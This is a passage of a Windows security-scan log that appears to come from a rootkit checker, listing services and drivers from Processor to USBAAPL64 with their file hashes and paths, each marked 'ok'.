    12:24:30.0831 0x139c  Processor - ok
    12:24:30.0866 0x139c  [ 5C78838B4D166D1A27DB3A8A820C799A, BBF7E1D0B6754CF06BF3936671FDF5BF6E845CA5678D0940EA54E9212B539B7F ] ProfSvc         C:\Windows\system32\profsvc.dll
    12:24:30.0875 0x139c  ProfSvc - ok
    12:24:30.0896 0x139c  [ 0793F40B9B8A1BDD266296409DBD91EA, 8A383FC9A66A327905C340D06138980F9E489479535A2C2AAE5E8BB14A74826E ] ProtectedStorage C:\Windows\system32\lsass.exe
    12:24:30.0902 0x139c  ProtectedStorage - ok
    12:24:30.0972 0x139c  [ 0557CF5A2556BD58E26384169D72438D, F6F83A616B1F1C6C0DF6D2EC2513E6C23FD4FAA6D36518B8676C619AB74957B4 ] Psched          C:\Windows\system32\DRIVERS\pacer.sys
    12:24:30.0976 0x139c  Psched - ok
    12:24:31.0058 0x139c  [ A53A15A11EBFD21077463EE2C7AFEEF0, 6002B012A75045DEA62640A864A8721EADE2F8B65BEB5F5BA76D8CD819774489 ] ql2300          C:\Windows\system32\DRIVERS\ql2300.sys
    12:24:31.0117 0x139c  ql2300 - ok
    12:24:31.0154 0x139c  [ 4F6D12B51DE1AAEFF7DC58C4D75423C8, FB6ABAB741CED66A79E31A45111649F2FA3E26CEE77209B5296F789F6F7D08DE ] ql40xx          C:\Windows\system32\DRIVERS\ql40xx.sys
    12:24:31.0160 0x139c  ql40xx - ok
    12:24:31.0202 0x139c  [ 906191634E99AEA92C4816150BDA3732, A0305436384104C3B559F9C73902DA19B96B518413379E397C5CDAB0B2B9418F ] QWAVE           C:\Windows\system32\qwave.dll
    12:24:31.0223 0x139c  QWAVE - ok
    12:24:31.0248 0x139c  [ 76707BB36430888D9CE9D705398ADB6C, 35C1D1D05F98AC29A33D3781F497A0B40A3CB9CDF25FE1F28F574E40DDF70535 ] QWAVEdrv        C:\Windows\system32\drivers\qwavedrv.sys
    12:24:31.0251 0x139c  QWAVEdrv - ok
    12:24:31.0274 0x139c  [ 5A0DA8AD5762FA2D91678A8A01311704, 8A64EB5DBAB7048A9E42A21CEB62CCD5B007A80C199892D7F8C69B48E8A255EF ] RasAcd          C:\Windows\system32\DRIVERS\rasacd.sys
    12:24:31.0277 0x139c  RasAcd - ok
    12:24:31.0303 0x139c  [ 7ECFF9B22276B73F43A99A15A6094E90, 62C70DA127F48F796F8897BBFA23AB6EB080CC923F0F091DFA384A93F5C90CA1 ] RasAgileVpn     C:\Windows\system32\DRIVERS\AgileVpn.sys
    12:24:31.0306 0x139c  RasAgileVpn - ok
    12:24:31.0332 0x139c  [ 8F26510C5383B8DBE976DE1CD00FC8C7, 60E618C010E8A723960636415573FA17EA0BBEF79647196B3BC0B8DEE680E090 ] RasAuto         C:\Windows\System32\rasauto.dll
    12:24:31.0338 0x139c  RasAuto - ok
    12:24:31.0387 0x139c  [ 471815800AE33E6F1C32FB1B97C490CA, 27307265F743DE3A3A3EC1B2C472A3D85FDD0AEC458E0B1177593141EE072698 ] Rasl2tp         C:\Windows\system32\DRIVERS\rasl2tp.sys
    12:24:31.0392 0x139c  Rasl2tp - ok
    12:24:31.0434 0x139c  [ EE867A0870FC9E4972BA9EAAD35651E2, 1B848D81705081FD2E18AC762DA7F51455657DAF860BF363DC15925A148BCADA ] RasMan          C:\Windows\System32\rasmans.dll
    12:24:31.0465 0x139c  RasMan - ok
    12:24:31.0485 0x139c  [ 855C9B1CD4756C5E9A2AA58A15F58C25, A514F8A9C304D54BDA8DC60F5A64259B057EC83A1CAAF6D2B58CFD55E9561F72 ] RasPppoe        C:\Windows\system32\DRIVERS\raspppoe.sys
    12:24:31.0489 0x139c  RasPppoe - ok
    12:24:31.0514 0x139c  [ E8B1E447B008D07FF47D016C2B0EEECB, FEC789F82B912F3E14E49524D40FEAA4373B221156F14045E645D7C37859258C ] RasSstp         C:\Windows\system32\DRIVERS\rassstp.sys
    12:24:31.0519 0x139c  RasSstp - ok
    12:24:31.0573 0x139c  [ 77F665941019A1594D887A74F301FA2F, 1FDC6F6853400190C086042933F157814D915C54F26793CAD36CD2607D8810DA ] rdbss           C:\Windows\system32\DRIVERS\rdbss.sys
    12:24:31.0583 0x139c  rdbss - ok
    12:24:31.0606 0x139c  [ 302DA2A0539F2CF54D7C6CC30C1F2D8D, 1DF3501BBFFB56C3ECC39DBCC4287D3302216C2208CE22428B8C4967E5DE9D17 ] rdpbus          C:\Windows\system32\DRIVERS\rdpbus.sys
    12:24:31.0608 0x139c  rdpbus - ok
    12:24:31.0628 0x139c  [ CEA6CC257FC9B7715F1C2B4849286D24, A78144D18352EA802C39D9D42921CF97A3E0211766B2169B6755C6FC2D77A804 ] RDPCDD          C:\Windows\system32\DRIVERS\RDPCDD.sys
    12:24:31.0630 0x139c  RDPCDD - ok
    12:24:31.0688 0x139c  [ 1B6163C503398B23FF8B939C67747683, 339A5AA7970FF34FAAB213B655860C5B0DEC5F983A4A11A088017D849F320ACE ] RDPDR           C:\Windows\system32\drivers\rdpdr.sys
    12:24:31.0695 0x139c  RDPDR - ok
    12:24:31.0721 0x139c  [ BB5971A4F00659529A5C44831AF22365, 9AAA5C0D448E821FD85589505D99DF7749715A046BBD211F139E4E652ADDE41F ] RDPENCDD        C:\Windows\system32\drivers\rdpencdd.sys
    12:24:31.0722 0x139c  RDPENCDD - ok
    12:24:31.0742 0x139c  [ 216F3FA57533D98E1F74DED70113177A, 60C126A1409D1E9C39F1C9E95F70115BF4AF07780AB499F6E10A612540F173F4 ] RDPREFMP        C:\Windows\system32\drivers\rdprefmp.sys
    12:24:31.0745 0x139c  RDPREFMP - ok
    12:24:31.0821 0x139c  [ 70CBA1A0C98600A2AA1863479B35CB90, 91A133297921B4955817176251AFC5283DA3C7D2099700C4C92ECC94DBE9A99E ] RdpVideoMiniport C:\Windows\system32\drivers\rdpvideominiport.sys
    12:24:31.0824 0x139c  RdpVideoMiniport - ok
    12:24:31.0875 0x139c  [ 15B66C206B5CB095BAB980553F38ED23, 3CA50786A8D3D6BAF145AFD22C1ED92C2EB39F5D6AF4F6B09B69610FDE0C5B24 ] RDPWD           C:\Windows\system32\drivers\RDPWD.sys
    12:24:31.0883 0x139c  RDPWD - ok
    12:24:31.0923 0x139c  [ 34ED295FA0121C241BFEF24764FC4520, AAEE5F00CAA763A5BA51CF56BD7262C03409CD72BD5601490E3EC3FFF929BB5F ] rdyboost        C:\Windows\system32\drivers\rdyboost.sys
    12:24:31.0931 0x139c  rdyboost - ok
    12:24:31.0974 0x139c  [ 254FB7A22D74E5511C73A3F6D802F192, 3D0FB5840364200DE394F8CC28DA0E334C2B5FA8FF28A41656EE72287F3D3836 ] RemoteAccess    C:\Windows\System32\mprdim.dll
    12:24:31.0979 0x139c  RemoteAccess - ok
    12:24:32.0014 0x139c  [ E4D94F24081440B5FC5AA556C7C62702, 147CAA03568DC480F9506E30B84891AB7E433B5EBC05F34FF10F72B00E1C6B22 ] RemoteRegistry  C:\Windows\system32\regsvc.dll
    12:24:32.0022 0x139c  RemoteRegistry - ok
    12:24:32.0053 0x139c  [ E4DC58CF7B3EA515AE917FF0D402A7BB, 665B5CD9FE905B0EE3F59A7B1A94760F5393EBEE729877D8584349754C2867E8 ] RpcEptMapper    C:\Windows\System32\RpcEpMap.dll
    12:24:32.0058 0x139c  RpcEptMapper - ok
    12:24:32.0074 0x139c  [ D5BA242D4CF8E384DB90E6A8ED850B8C, CB4CB2608B5E31B55FB1A2CF4051E6D08A0C2A5FB231B2116F95938D7577334E ] RpcLocator      C:\Windows\system32\locator.exe
    12:24:32.0078 0x139c  RpcLocator - ok
    12:24:32.0112 0x139c  [ 5C627D1B1138676C0A7AB2C2C190D123, C5003F2C912C5CA990E634818D3B4FD72F871900AF2948BD6C4D6400B354B401 ] RpcSs           C:\Windows\system32\rpcss.dll
    12:24:32.0127 0x139c  RpcSs - ok
    12:24:32.0205 0x139c  [ E2319BDFF45DC9600E3751BE690F044D, 93F7A1EB1DB5F5CD41846F8D1DD5F08569DDE55AB125A01131B4ED20C322B956 ] RsFx0310        C:\Windows\system32\DRIVERS\RsFx0310.sys
    12:24:32.0226 0x139c  RsFx0310 - ok
    12:24:32.0283 0x139c  [ DDC86E4F8E7456261E637E3552E804FF, D250C69CCC75F2D88E7E624FCC51300E75637333317D53908CCA7E0F117173DD ] rspndr          C:\Windows\system32\DRIVERS\rspndr.sys
    12:24:32.0287 0x139c  rspndr - ok
    12:24:32.0338 0x139c  [ E60C0A09F997826C7627B244195AB581, E8630ED74B38B98BF584E353D992C1311BC36AB7F20A1BB66C9CD65CE1E46F8D ] s3cap           C:\Windows\system32\drivers\vms3cap.sys
    12:24:32.0340 0x139c  s3cap - ok
    12:24:32.0358 0x139c  [ 0793F40B9B8A1BDD266296409DBD91EA, 8A383FC9A66A327905C340D06138980F9E489479535A2C2AAE5E8BB14A74826E ] SamSs           C:\Windows\system32\lsass.exe
    12:24:32.0362 0x139c  SamSs - ok
    12:24:32.0384 0x139c  [ AC03AF3329579FFFB455AA2DAABBE22B, 7AD3B62ADFEC166F9E256F9FF8BAA0568B2ED7308142BF8F5269E6EAA5E0A656 ] sbp2port        C:\Windows\system32\drivers\sbp2port.sys
    12:24:32.0389 0x139c  sbp2port - ok
    12:24:32.0436 0x139c  [ 9B7395789E3791A3B6D000FE6F8B131E, E5F067F3F212BF5481668BE1779CBEF053F511F8967589BE2E865ACB9A620024 ] SCardSvr        C:\Windows\System32\SCardSvr.dll
    12:24:32.0445 0x139c  SCardSvr - ok
    12:24:32.0490 0x139c  [ 253F38D0D7074C02FF8DEB9836C97D2B, CB5CAFCB8628BB22877F74ACF1DED0BBAED8F4573A74DA7FE94BBBA584889116 ] scfilter        C:\Windows\system32\DRIVERS\scfilter.sys
    12:24:32.0492 0x139c  scfilter - ok
    12:24:32.0582 0x139c  [ 262F6592C3299C005FD6BEC90FC4463A, 54095E37F0B6CC677A3E9BDD40F4647C713273D197DB341063AA7F342A60C4A7 ] Schedule        C:\Windows\system32\schedsvc.dll
    12:24:32.0650 0x139c  Schedule - ok
    12:24:32.0717 0x139c  [ F17D1D393BBC69C5322FBFAFACA28C7F, 62A1A92B3C52ADFD0B808D7F69DD50238B5F202421F1786F7EAEAA63F274B3E8 ] SCPolicySvc     C:\Windows\System32\certprop.dll
    12:24:32.0719 0x139c  SCPolicySvc - ok
    12:24:32.0751 0x139c  [ 6EA4234DC55346E0709560FE7C2C1972, 64011E044C16E2F92689E5F7E4666A075E27BBFA61F3264E5D51CE1656C1D5B8 ] SDRSVC          C:\Windows\System32\SDRSVC.dll
    12:24:32.0759 0x139c  SDRSVC - ok
    12:24:32.0815 0x139c  [ 3EA8A16169C26AFBEB544E0E48421186, 34BBB0459C96B3DE94CCB0D73461562935C583D7BF93828DA4E20A6BC9B7301D ] secdrv          C:\Windows\system32\drivers\secdrv.sys
    12:24:32.0817 0x139c  secdrv - ok
    12:24:32.0845 0x139c  [ BC617A4E1B4FA8DF523A061739A0BD87, 10C4057F6B321EB5237FF619747B74F5401BC17D15A8C7060829E8204A2297F9 ] seclogon        C:\Windows\system32\seclogon.dll
    12:24:32.0849 0x139c  seclogon - ok
    12:24:32.0871 0x139c  [ C32AB8FA018EF34C0F113BD501436D21, E0EB8E80B51E45CA7EB061E705DA0BC07878759418A8519AE6E12326FE79E7C7 ] SENS            C:\Windows\System32\sens.dll
    12:24:32.0876 0x139c  SENS - ok
    12:24:32.0896 0x139c  [ 0336CFFAFAAB87A11541F1CF1594B2B2, 8B8A6A33E78A12FB05E29B2E2775850626574AFD2EF88748D65E690A07B10B8D ] SensrSvc        C:\Windows\system32\sensrsvc.dll
    12:24:32.0900 0x139c  SensrSvc - ok
    12:24:32.0956 0x139c  [ 255476B54C82A89416EFDF09FD62F107, 000A6F7F15177A08ED4E22DB1C06F9FF0F8D324541A3E7AF7F35123D9CA4122D ] Sentinel64      C:\Windows\System32\Drivers\Sentinel64.sys
    12:24:32.0960 0x139c  Sentinel64 - ok
    12:24:32.0978 0x139c  [ CB624C0035412AF0DEBEC78C41F5CA1B, A4D937F11E06CAE914347CA1362F4C98EC5EE0C0C80321E360EA1ABD6726F8D4 ] Serenum         C:\Windows\system32\DRIVERS\serenum.sys
    12:24:32.0981 0x139c  Serenum - ok
    12:24:32.0999 0x139c  [ C1D8E28B2C2ADFAEC4BA89E9FDA69BD6, 8F9776FB84C5D11068EAF1FF1D1A46466C655D64D256A8B1E31DC0C23B5DD22D ] Serial          C:\Windows\system32\DRIVERS\serial.sys
    12:24:33.0004 0x139c  Serial - ok
    12:24:33.0051 0x139c  [ 1C545A7D0691CC4A027396535691C3E3, 065C30BE598FF4DC55C37E0BBE0CEDF10A370AE2BF5404B42EBBB867A3FFED6D ] sermouse        C:\Windows\system32\DRIVERS\sermouse.sys
    12:24:33.0053 0x139c  sermouse - ok
    12:24:33.0119 0x139c  [ 0B6231BF38174A1628C4AC812CC75804, E569BF1F7F5689E2E917FA6516DB53388A5B8B1C6699DEE030147E853218811D ] SessionEnv      C:\Windows\system32\sessenv.dll
    12:24:33.0125 0x139c  SessionEnv - ok
    12:24:33.0145 0x139c  [ A554811BCD09279536440C964AE35BBF, DA8F893722F803E189D7D4D6C6232ED34505B63A64ED3A0132A5BB7A2BABDE55 ] sffdisk         C:\Windows\system32\drivers\sffdisk.sys
    12:24:33.0148 0x139c  sffdisk - ok
    12:24:33.0174 0x139c  [ FF414F0BAEFEBA59BC6C04B3DB0B87BF, B81EF5D26AEB572CAB590F7AD7CA8C89F296420089EF5E6148E972F2DBCA1042 ] sffp_mmc        C:\Windows\system32\drivers\sffp_mmc.sys
    12:24:33.0176 0x139c  sffp_mmc - ok
    12:24:33.0187 0x139c  [ DD85B78243A19B59F0637DCF284DA63C, 6730D4F2BAE7E24615746ACC41B42D01DB6068D6504982008ADA1890DE900197 ] sffp_sd         C:\Windows\system32\drivers\sffp_sd.sys
    12:24:33.0188 0x139c  sffp_sd - ok
    12:24:33.0228 0x139c  [ A9D601643A1647211A1EE2EC4E433FF4, 7AC60B4AB48D4BBF1F9681C12EC2A75C72E6E12D30FABC564A24394310E9A5F9 ] sfloppy         C:\Windows\system32\DRIVERS\sfloppy.sys
    12:24:33.0231 0x139c  sfloppy - ok
    12:24:33.0290 0x139c  [ B95F6501A2F8B2E78C697FEC401970CE, 758B73A32902299A313348CE7EC189B20EB4CB398D0180E4EE24B84DAD55F291 ] SharedAccess    C:\Windows\System32\ipnathlp.dll
    12:24:33.0313 0x139c  SharedAccess - ok
    12:24:33.0366 0x139c  [ AAF932B4011D14052955D4B212A4DA8D, 2A3BFD0FA9569288E91AE3E72CA1EC39E1450D01E6473CE51157E0F138257923 ] ShellHWDetection C:\Windows\System32\shsvcs.dll
    12:24:33.0397 0x139c  ShellHWDetection - ok
    12:24:33.0426 0x139c  [ 843CAF1E5FDE1FFD5FF768F23A51E2E1, 89CA9F516E42A6B905474D738CDA2C121020A07DBD4E66CFE569DD77D79D7820 ] SiSRaid2        C:\Windows\system32\DRIVERS\SiSRaid2.sys
    12:24:33.0430 0x139c  SiSRaid2 - ok
    12:24:33.0449 0x139c  [ 6A6C106D42E9FFFF8B9FCB4F754F6DA4, 87B85C66DF7EB6FDB8A2341D05FAA5261FF68A90CCFC63F0E4A03824F1E33E5E ] SiSRaid4        C:\Windows\system32\DRIVERS\sisraid4.sys
    12:24:33.0453 0x139c  SiSRaid4 - ok
    12:24:33.0480 0x139c  [ 548260A7B8654E024DC30BF8A7C5BAA4, 4A7E58331D7765A12F53DC2371739DC9A463940B13E16157CE10DB80E958D740 ] Smb             C:\Windows\system32\DRIVERS\smb.sys
    12:24:33.0484 0x139c  Smb - ok
    12:24:33.0544 0x139c  [ 6313F223E817CC09AA41811DAA7F541D, D787061043BEEDB9386B048CB9E680E6A88A1CBAE9BD4A8C0209155BFB76C630 ] SNMPTRAP        C:\Windows\System32\snmptrap.exe
    12:24:33.0547 0x139c  SNMPTRAP - ok
    12:24:33.0608 0x139c  [ 2D5576C01C8A34AA614870E745FE8F19, FAAD06A4B912B8A7B6971E152D89356191C9655DDA494A04F0AA086DFB46BD11 ] SNTUSB64        C:\Windows\system32\DRIVERS\SNTUSB64.SYS
    12:24:33.0611 0x139c  SNTUSB64 - ok
    12:24:33.0703 0x139c  [ 4945020BC094C322571184A6E8056B3A, 9E09257411F7C3631537D0198E0E64CDD1A697D80430F6379139B15A2BA8A6C9 ] SolidWorks Licensing Service C:\Program Files (x86)\Common Files\SolidWorks Shared\Service\SolidWorksLicensing.exe
    12:24:33.0707 0x139c  SolidWorks Licensing Service - ok
    12:24:33.0734 0x139c  [ B9E31E5CACDFE584F34F730A677803F9, 21A5130BD00089C609522A372018A719F8E37103D2DD22C59EACB393BE35A063 ] spldr           C:\Windows\system32\drivers\spldr.sys
    12:24:33.0735 0x139c  spldr - ok
    12:24:33.0800 0x139c  [ B96C17B5DC1424D56EEA3A99E97428CD, AF0A85066A7983878DC1C663811CE61C6CA1912DC956184F878B7B82DB93C651 ] Spooler         C:\Windows\System32\spoolsv.exe
    12:24:33.0834 0x139c  Spooler - ok
    12:24:34.0002 0x139c  [ E17E0188BB90FAE42D83E98707EFA59C, FC075F7B39E86CC8EF6DA4E339FE946917E319C347AC70FB0C50AAF36F97E27F ] sppsvc          C:\Windows\system32\sppsvc.exe
    12:24:34.0137 0x139c  sppsvc - ok
    12:24:34.0169 0x139c  [ 93D7D61317F3D4BC4F4E9F8A96A7DE45, 36D48B23B8243BE5229707375FCD11C2DCAC96983199345365F065A0CBF33314 ] sppuinotify     C:\Windows\system32\sppuinotify.dll
    12:24:34.0174 0x139c  sppuinotify - ok
    12:24:34.0263 0x139c  [ 774C1D27B9ED5A420E11C2343B0FFF7B, 6C291CF9C9205D6F9BA43156E1EBB370CA11DD1656694F1B434E2E7F8AFBC6A4 ] SQLBrowser      C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
    12:24:34.0272 0x139c  SQLBrowser - ok
    12:24:34.0383 0x139c  [ C386F811A5E2F87DCF3EA4A527A20AA6, D68DF4E237AC6CBE193DE3A5C48F473F332A1D3CFC7BC21AFDE3EF922DA08279 ] SQLWriter       C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe
    12:24:34.0389 0x139c  SQLWriter - ok
    12:24:34.0424 0x139c  [ 2098B8556D1CEC2ACA9A29CD479E3692, D5826407C64F18C16EB36E6F00787CFAFCD9B24B5BD8AD126AD01E6E4134966F ] srv             C:\Windows\system32\DRIVERS\srv.sys
    12:24:34.0440 0x139c  srv - ok
    12:24:34.0489 0x139c  [ D0F73A42040F21F92FD314B42AC5C9E7, A021C4318C9CFA594305458B2643BB0C22DDE1F3D51C93C9F3E7F7AB75B31278 ] srv2            C:\Windows\system32\DRIVERS\srv2.sys
    12:24:34.0521 0x139c  srv2 - ok
    12:24:34.0547 0x139c  [ 2BA8F3250828CCDB4204ECF2C6F40B6A, 22C4FBF9A87C46E69C48B681FF733D68D9CB7B7D73FB14C8C2A06E9009F9860E ] srvnet          C:\Windows\system32\DRIVERS\srvnet.sys
    12:24:34.0553 0x139c  srvnet - ok
    12:24:34.0603 0x139c  [ 51B52FBD583CDE8AA9BA62B8B4298F33, 2E2403F8AA39E79D1281CA006B51B43139C32A5FDD64BD34DAA4B935338BD740 ] SSDPSRV         C:\Windows\System32\ssdpsrv.dll
    12:24:34.0611 0x139c  SSDPSRV - ok
    12:24:34.0657 0x139c  [ 0211AB46B73A2623B86C1CFCB30579AB, 7CC9BA2DF7B9EA6BB17EE342898EDD7F54703B93B6DED6A819E83A7EE9F938B4 ] SSPORT          C:\Windows\system32\Drivers\SSPORT.sys
    12:24:34.0658 0x139c  SSPORT - ok
    12:24:34.0677 0x139c  [ AB7AEBF58DAD8DAAB7A6C45E6A8885CB, D21CDBC4C2AA0DB5B4455D5108B0CAF4282A2E664B9035708F212CC094569D9D ] SstpSvc         C:\Windows\system32\sstpsvc.dll
    12:24:34.0682 0x139c  SstpSvc - ok
    12:24:34.0714 0x139c  [ F3817967ED533D08327DC73BC4D5542A, 1B204454408A690C0A86447F3E4AA9E7C58A9CFB567C94C17C21920BA648B4D5 ] stexstor        C:\Windows\system32\DRIVERS\stexstor.sys
    12:24:34.0717 0x139c  stexstor - ok
    12:24:34.0794 0x139c  [ 8DD52E8E6128F4B2DA92CE27402871C1, 1101C38BE8FC383B5F2F9FA402F9652B23B88A764DE2B584DFE62B88B11DEF92 ] stisvc          C:\Windows\System32\wiaservc.dll
    12:24:34.0828 0x139c  stisvc - ok
    12:24:34.0870 0x139c  [ 7785DC213270D2FC066538DAF94087E7, F09CB2895241719CA5147B2EE9F7ECBD0303AFFB5CD896F06D4D29BAAAFC207B ] storflt         C:\Windows\system32\drivers\vmstorfl.sys
    12:24:34.0872 0x139c  storflt - ok
    12:24:34.0897 0x139c  [ D34E4943D5AC096C8EDEEBFD80D76E23, 1DD7F6F97060B5F763A04ACA1F75E59DAB09EF824FD09B83FC3C192837D006DE ] storvsc         C:\Windows\system32\drivers\storvsc.sys
    12:24:34.0899 0x139c  storvsc - ok
    12:24:34.0926 0x139c  [ D01EC09B6711A5F8E7E6564A4D0FBC90, 3CB922291DBADC92B46B9E28CCB6810CD8CCDA3E74518EC9522B58B998E1F969 ] swenum          C:\Windows\system32\drivers\swenum.sys
    12:24:34.0926 0x139c  swenum - ok
    12:24:34.0979 0x139c  [ E08E46FDD841B7184194011CA1955A0B, 9C3725BB1F08F92744C980A22ED5C874007D3B5863C7E1F140F50061052AC418 ] swprv           C:\Windows\System32\swprv.dll
    12:24:35.0013 0x139c  swprv - ok
    12:24:35.0038 0x139c  Synth3dVsc - ok
    12:24:35.0145 0x139c  [ BF9CCC0BF39B418C8D0AE8B05CF95B7D, 3C13217548BE61F2BDB8BD41F77345CDDA1F97BF0AE17241C335B9807EB3DBB8 ] SysMain         C:\Windows\system32\sysmain.dll
    12:24:35.0236 0x139c  SysMain - ok
    12:24:35.0295 0x139c  [ E3C61FD7B7C2557E1F1B0B4CEC713585, 01F0E116606D185BF93B540868075BFB1A398197F6AABD994983DBFF56B3A8A0 ] TabletInputService C:\Windows\System32\TabSvc.dll
    12:24:35.0301 0x139c  TabletInputService - ok
    12:24:35.0355 0x139c  [ 40F0849F65D13EE87B9A9AE3C1DD6823, E251A7EF3D0FD2973AF33A62FC457A7E8D5E8694208F811F52455F7C2426121F ] TapiSrv         C:\Windows\System32\tapisrv.dll
    12:24:35.0387 0x139c  TapiSrv - ok
    12:24:35.0414 0x139c  [ 1BE03AC720F4D302EA01D40F588162F6, AB644862BF1D2E824FD846180DEC4E2C0FAFCC517451486DE5A92E5E78A952E4 ] TBS             C:\Windows\System32\tbssvc.dll
    12:24:35.0418 0x139c  TBS - ok
    12:24:35.0534 0x139c  [ 509383E505C973ED7534A06B3D19688D, 520AE434CCE1D365A45B2035283A4AD915E98D28D06BD73822F6FF865C2AE7DF ] Tcpip           C:\Windows\system32\drivers\tcpip.sys
    12:24:35.0623 0x139c  Tcpip - ok
    12:24:35.0721 0x139c  [ 509383E505C973ED7534A06B3D19688D, 520AE434CCE1D365A45B2035283A4AD915E98D28D06BD73822F6FF865C2AE7DF ] TCPIP6          C:\Windows\system32\DRIVERS\tcpip.sys
    12:24:35.0767 0x139c  TCPIP6 - ok
    12:24:35.0831 0x139c  [ DF687E3D8836BFB04FCC0615BF15A519, 7C5B1E72673B4299DFC21E869F0FBB28198CA54DF4F4AF7080005F2D82467784 ] tcpipreg        C:\Windows\system32\drivers\tcpipreg.sys
    12:24:35.0834 0x139c  tcpipreg - ok
    12:24:35.0867 0x139c  [ 3371D21011695B16333A3934340C4E7C, 7416F9BBFC1BA9D875EA7D1C7A0D912FC6977B49A865D67E3F9C4E18A965082D ] TDPIPE          C:\Windows\system32\drivers\tdpipe.sys
    12:24:35.0869 0x139c  TDPIPE - ok
    12:24:35.0887 0x139c  [ E4245BDA3190A582D55ED09E137401A9, F59C983882997D68CC7B1B2080AEE9EBE2AE90D478F877559BD2AAA97158A116 ] TDTCP           C:\Windows\system32\drivers\tdtcp.sys
    12:24:35.0890 0x139c  TDTCP - ok
    12:24:35.0950 0x139c  [ DDAD5A7AB24D8B65F8D724F5C20FD806, B71F2967A4EE7395E4416C1526CB85368AEA988BDD1F2C9719C48B08FAFA9661 ] tdx             C:\Windows\system32\DRIVERS\tdx.sys
    12:24:35.0954 0x139c  tdx - ok
    12:24:36.0017 0x139c  [ 561E7E1F06895D78DE991E01DD0FB6E5, 83BFA50A528762EC52A011302AC3874636FB7E26628CD7ACFBF2BDC9FAA8110D ] TermDD          C:\Windows\system32\drivers\termdd.sys
    12:24:36.0019 0x139c  TermDD - ok
    12:24:36.0081 0x139c  [ 2E648163254233755035B46DD7B89123, 6FA0D07CE18A3A69D82EE49D875F141E39406E92C34EAC76AC4EB052E6EBCBCD ] TermService     C:\Windows\System32\termsrv.dll
    12:24:36.0115 0x139c  TermService - ok
    12:24:36.0140 0x139c  [ F0344071948D1A1FA732231785A0664C, DB9886C2C858FAF45AEA15F8E42860343F73EB8685C53EC2E8CCC10586CB0832 ] Themes          C:\Windows\system32\themeservice.dll
    12:24:36.0144 0x139c  Themes - ok
    12:24:36.0178 0x139c  [ E40E80D0304A73E8D269F7141D77250B, 0DB4AC13A264F19A84DC0BCED54E8E404014CC09C993B172002B1561EC7E265A ] THREADORDER     C:\Windows\system32\mmcss.dll
    12:24:36.0182 0x139c  THREADORDER - ok
    12:24:36.0200 0x139c  [ 7E7AFD841694F6AC397E99D75CEAD49D, DE87F203FD8E6BDCCFCA1860A85F283301A365846FB703D9BB86278D8AC96B07 ] TrkWks          C:\Windows\System32\trkwks.dll
    12:24:36.0206 0x139c  TrkWks - ok
    12:24:36.0270 0x139c  [ 773212B2AAA24C1E31F10246B15B276C, F2EF85F5ABA307976D9C649D710B408952089458DDE97D4DEF321DF14E46A046 ] TrustedInstaller C:\Windows\servicing\TrustedInstaller.exe
    12:24:36.0277 0x139c  TrustedInstaller - ok
    12:24:36.0337 0x139c  [ CE18B2CDFC837C99E5FAE9CA6CBA5D30, CA302C2ED6A6BF4670BAAA4F5C14C0238CF0C80316856AA0DB053F4D593033AC ] tssecsrv        C:\Windows\system32\DRIVERS\tssecsrv.sys
    12:24:36.0339 0x139c  tssecsrv - ok
    12:24:36.0396 0x139c  [ 566770559DCFB325BB589CB602FAA531, FF5238438952203EEEACE034FEC4A83D8312E60A61D194664C9E2705F44F3D69 ] TSSKX64         C:\Windows\system32\drivers\tsskx64.sys
    12:24:36.0399 0x139c  TSSKX64 - ok
    12:24:36.0433 0x139c  [ D11C783E3EF9A3C52C0EBE83CC5000E9, A136C355D4C8945729163D15801364A614E23217B15F9313C85BA45BB71A74EB ] TsUsbFlt        C:\Windows\system32\drivers\tsusbflt.sys
    12:24:36.0436 0x139c  TsUsbFlt - ok
    12:24:36.0445 0x139c  tsusbhub - ok
    12:24:36.0523 0x139c  [ 3566A8DAAFA27AF944F5D705EAA64894, AE9D8B648DA08AF667B9456C3FE315489859C157510A258559F18238F2CC92B8 ] tunnel          C:\Windows\system32\DRIVERS\tunnel.sys
    12:24:36.0528 0x139c  tunnel - ok
    12:24:36.0565 0x139c  [ B4DD609BD7E282BFC683CEC7EAAAAD67, EF131DB6F6411CAD36A989A421AF93F89DD61601AC524D2FF11C10FF6E3E9123 ] uagp35          C:\Windows\system32\DRIVERS\uagp35.sys
    12:24:36.0571 0x139c  uagp35 - ok
    12:24:36.0628 0x139c  [ FF4232A1A64012BAA1FD97C7B67DF593, D8591B4EB056899C7B604E4DD852D82D4D9809F508ABCED4A03E1BE6D5D456E3 ] udfs            C:\Windows\system32\DRIVERS\udfs.sys
    12:24:36.0658 0x139c  udfs - ok
    12:24:36.0706 0x139c  [ 3CBDEC8D06B9968ABA702EBA076364A1, B8DAB8AA804FC23021BFEBD7AE4D40FBE648D6C6BA21CC008E26D1C084972F9B ] UI0Detect       C:\Windows\system32\UI0Detect.exe
    12:24:36.0710 0x139c  UI0Detect - ok
    12:24:36.0750 0x139c  [ 4BFE1BC28391222894CBF1E7D0E42320, 5918B1ED2030600DF77BDACF1C808DF6EADDD8BF3E7003AF1D72050D8B102B3A ] uliagpkx        C:\Windows\system32\drivers\uliagpkx.sys
    12:24:36.0753 0x139c  uliagpkx - ok
    12:24:36.0807 0x139c  [ DC54A574663A895C8763AF0FA1FF7561, 09A3F3597E91CBEB2F38E96E75134312B60CAE5574B2AD4606C2D3E992AEDDFE ] umbus           C:\Windows\system32\drivers\umbus.sys
    12:24:36.0809 0x139c  umbus - ok
    12:24:36.0831 0x139c  [ B2E8E8CB557B156DA5493BBDDCC1474D, F547509A08C0679ACB843E20C9C0CF51BED1B06530BBC529DFB0944504564A43 ] UmPass          C:\Windows\system32\DRIVERS\umpass.sys
    12:24:36.0834 0x139c  UmPass - ok
    12:24:36.0885 0x139c  [ A293DCD756D04D8492A750D03B9A297C, 203600ED0B7F8BA4C6D6F4ED810F4DF5AB70928B06EC4131C5D8ADF628444ED1 ] UmRdpService    C:\Windows\System32\umrdp.dll
    12:24:36.0895 0x139c  UmRdpService - ok
    12:24:36.0924 0x139c  [ D47EC6A8E81633DD18D2436B19BAF6DE, 0FB461E2D5E0B75BB5958F6362F4880BFA4C36AD930542609BCAF574941AA7AE ] upnphost        C:\Windows\System32\upnphost.dll
    12:24:36.0956 0x139c  upnphost - ok
    12:24:37.0029 0x139c  [ F957092C63CD71D85903CA0D8370F473, 4DEC2FC20329F248135DA24CB6694FD972DCCE8B1BBEA8D872FDE41939E96AAF ] USBAAPL64       C:\Windows\system32\Drivers\usbaapl64.sys
    12:24:37.0033 0x139c  USBAAPL64 - ok
